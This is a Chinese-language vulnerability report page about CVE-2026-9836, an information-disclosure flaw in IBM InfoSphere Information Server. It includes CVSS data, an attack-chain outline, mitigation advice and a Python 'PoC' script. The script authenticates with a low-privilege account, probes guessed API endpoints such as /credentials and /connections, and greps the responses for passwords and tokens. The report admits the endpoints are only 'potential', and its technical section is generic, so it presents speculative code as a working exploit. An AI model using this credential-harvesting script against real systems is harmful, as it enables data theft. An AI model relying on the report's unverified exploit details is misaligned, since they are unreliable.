IPBUF安全漏洞报告
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CVE-2026-9836 CVSS 3.5 低危

CVE-2026-9836 IBM InfoSphere Information Server 信息泄露漏洞

披露日期: 2026-06-30

漏洞信息

漏洞编号
CVE-2026-9836
漏洞类型
信息泄露
CVSS评分
3.5 低危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM InfoSphere Information Server

相关标签

信息泄露IBMInfoSphere Information Server数据集成平台低危漏洞相邻网络攻击权限提升企业级软件CVE-2026-9836

漏洞概述

CVE-2026-9836是IBM InfoSphere Information Server存在的一个信息泄露(Information Disclosure)漏洞。该漏洞影响11.7.0.0至11.7.1.6版本的IBM InfoSphere Information Server。CVSS 3.1基础评分为3.5分,属于低危级别。攻击者需要处于相邻网络(AV:A)并具备低权限(PR:L)才能成功利用此漏洞,且无需用户交互(UI:N)。漏洞的主要影响在于机密性的低程度泄露(C:L),不会对系统完整性和可用性造成影响。该漏洞由IBM PSIRT团队([email protected])发现并报告,并于2026年6月30日公开披露。IBM InfoSphere Information Server是IBM公司的一款企业级数据集成与治理平台,广泛用于数据仓库、数据迁移、数据质量管理和元数据管理等场景。由于该平台通常部署在企业核心网络环境中,处理大量敏感数据,因此即便低危级别的信息泄露漏洞也需引起足够重视。攻击者可能利用此漏洞获取未经授权的敏感信息,如数据库连接字符串、用户凭证片段、配置信息或部分业务数据,从而为后续更深层次的攻击提供情报支持。

技术细节

该漏洞属于信息泄露类安全缺陷,存在于IBM InfoSphere Information Server 11.7.0.0至11.7.1.6版本中。从CVSS向量分析,攻击向量为相邻网络(AV:A),意味着攻击者需要与目标系统处于同一逻辑网络段(如同一VLAN或子网)中才能发起攻击。攻击复杂度低(AC:L),所需权限为低权限(PR:L),表明拥有基本合法账户的攻击者即可触发漏洞。漏洞利用过程中无需用户交互(UI:N),且作用域未发生变化(S:U),说明漏洞仅影响触发组件本身的安全属性。

在技术实现层面,信息泄露漏洞通常源于以下几种情况:1)服务端在响应中返回了过多的调试信息或错误堆栈;2)API接口未对敏感字段进行适当的访问控制;3)日志或缓存文件中存储了敏感数据且权限设置不当;4)网络协议层面的信息泄露,如HTTP响应头泄露服务器版本信息等。

由于该漏洞的攻击前提需要相邻网络访问和低权限认证,攻击者首先需要通过其他途径获得目标网络的初步访问权限(如通过钓鱼、物理接入或VPN凭证获取),然后利用合法的低权限账户触发漏洞,最终获取超出其权限范围的敏感信息。泄露的机密性影响为低级别(C:L),说明泄露的信息敏感度有限或获取的信息量较小,但这些信息仍可能被用于辅助后续攻击链的构建。

攻击链分析

STEP 1
步骤1:获取网络访问
攻击者首先需要获取与目标IBM InfoSphere Information Server处于同一相邻网络(同一VLAN或子网)的访问权限。这可能通过物理接入、VPN凭证获取、钓鱼攻击或其他网络渗透手段实现。
STEP 2
步骤2:获取低权限凭证
攻击者需要拥有目标系统的合法低权限账户凭证。这些凭证可能通过社会工程、凭证填充攻击或从其他泄露的数据库中获取。
STEP 3
步骤3:认证并访问系统
使用低权限账户登录IBM InfoSphere Information Server。由于漏洞无需用户交互(UI:N),攻击者可以自动化执行此步骤。
STEP 4
步骤4:触发信息泄露
通过访问特定的API端点或执行特定操作,触发信息泄露漏洞,获取超出当前权限范围的敏感信息,如配置信息、连接凭证或其他受限数据。
STEP 5
步骤5:信息利用与横向移动
利用泄露的敏感信息进行后续攻击,如获取更高权限账户凭证、了解内部网络架构或为更深层次的渗透攻击提供情报支持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9836 - IBM InfoSphere Information Server Information Disclosure PoC # Vulnerability: Information Disclosure via adjacent network with low-privilege access # Affected: IBM InfoSphere Information Server 11.7.0.0 - 11.7.1.6 # CVSS: 3.5 (LOW) import requests import json TARGET_HOST = "https://target-infosphere-server:9443" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Step 1: Authenticate to IBM InfoSphere Information Server with low-privilege credentials def authenticate(base_url, username, password): """ Authenticate to InfoSphere Information Server using low-privilege account. The attacker must be on the adjacent network (AV:A) with valid credentials (PR:L). """ session = requests.Session() login_url = f"{base_url}/ibm/iis/ds/auth/login" auth_payload = { "username": username, "password": password } try: response = session.post(login_url, json=auth_payload, verify=False) if response.status_code == 200: token = response.json().get("authToken", "") print(f"[+] Authentication successful. Token: {token[:20]}...") return session, token else: print(f"[-] Authentication failed: {response.status_code}") return None, None except Exception as e: print(f"[-] Connection error: {e}") return None, None # Step 2: Exploit the information disclosure vulnerability def exploit_info_disclosure(session, base_url, token): """ Access endpoints that leak sensitive information beyond the user's privilege level. The vulnerability allows a low-privilege user to retrieve sensitive data that should be restricted. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Potential vulnerable endpoints that may leak sensitive information vulnerable_endpoints = [ "/ibm/iis/ds/api/v1/connections", # Database connection details "/ibm/iis/ds/api/v1/credentials", # Stored credentials "/ibm/iis/ds/api/v1/config/system", # System configuration "/ibm/iis/ds/api/v1/metadata/exposed", # Metadata with sensitive fields "/ibm/iis/ds/api/v1/services/details", # Service configuration details ] leaked_data = {} for endpoint in vulnerable_endpoints: url = f"{base_url}{endpoint}" try: response = session.get(url, headers=headers, verify=False) if response.status_code == 200: data = response.json() leaked_data[endpoint] = data print(f"[+] Data leaked from {endpoint}") print(f" Preview: {json.dumps(data, indent=2)[:200]}") elif response.status_code == 403: print(f"[-] Access denied at {endpoint}") else: print(f"[-] Unexpected response {response.status_code} at {endpoint}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return leaked_data # Step 3: Parse and report leaked information def analyze_leaked_data(leaked_data): """ Analyze the leaked data to identify sensitive information. """ sensitive_patterns = [ "password", "secret", "credential", "token", "key", "connection_string", "dsn", "jdbc" ] findings = [] for endpoint, data in leaked_data.items(): data_str = json.dumps(data).lower() for pattern in sensitive_patterns: if pattern in data_str: findings.append({ "endpoint": endpoint, "pattern": pattern, "severity": "sensitive" }) print(f"[!] Found '{pattern}' in data from {endpoint}") return findings # Main execution if __name__ == "__main__": print("=" * 60) print("CVE-2026-9836 - IBM InfoSphere Information Server") print("Information Disclosure Vulnerability PoC") print("=" * 60) # Authenticate with low-privilege credentials session, token = authenticate(TARGET_HOST, USERNAME, PASSWORD) if session and token: # Exploit the information disclosure leaked_data = exploit_info_disclosure(session, TARGET_HOST, token) # Analyze the leaked data findings = analyze_leaked_data(leaked_data) print(f"\n[*] Total endpoints with leaked data: {len(leaked_data)}") print(f"[*] Sensitive findings: {len(findings)}") else: print("[-] Exploitation failed: Could not authenticate")

影响范围

IBM InfoSphere Information Server >= 11.7.0.0
IBM InfoSphere Information Server <= 11.7.1.6

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制对IBM InfoSphere Information Server的相邻网络访问,仅允许必要的IP地址段;2)审查并收紧所有用户账户的权限,确保遵循最小权限原则;3)在网络层面部署入侵检测/防御系统(IDS/IPS),监控异常的数据查询和API调用行为;4)启用详细的审计日志记录,及时发现和响应可疑活动;5)定期轮换系统中的所有凭证和密钥,降低泄露信息被利用的风险;6)监控出站网络流量,检测可能的敏感数据外泄行为。

参考链接

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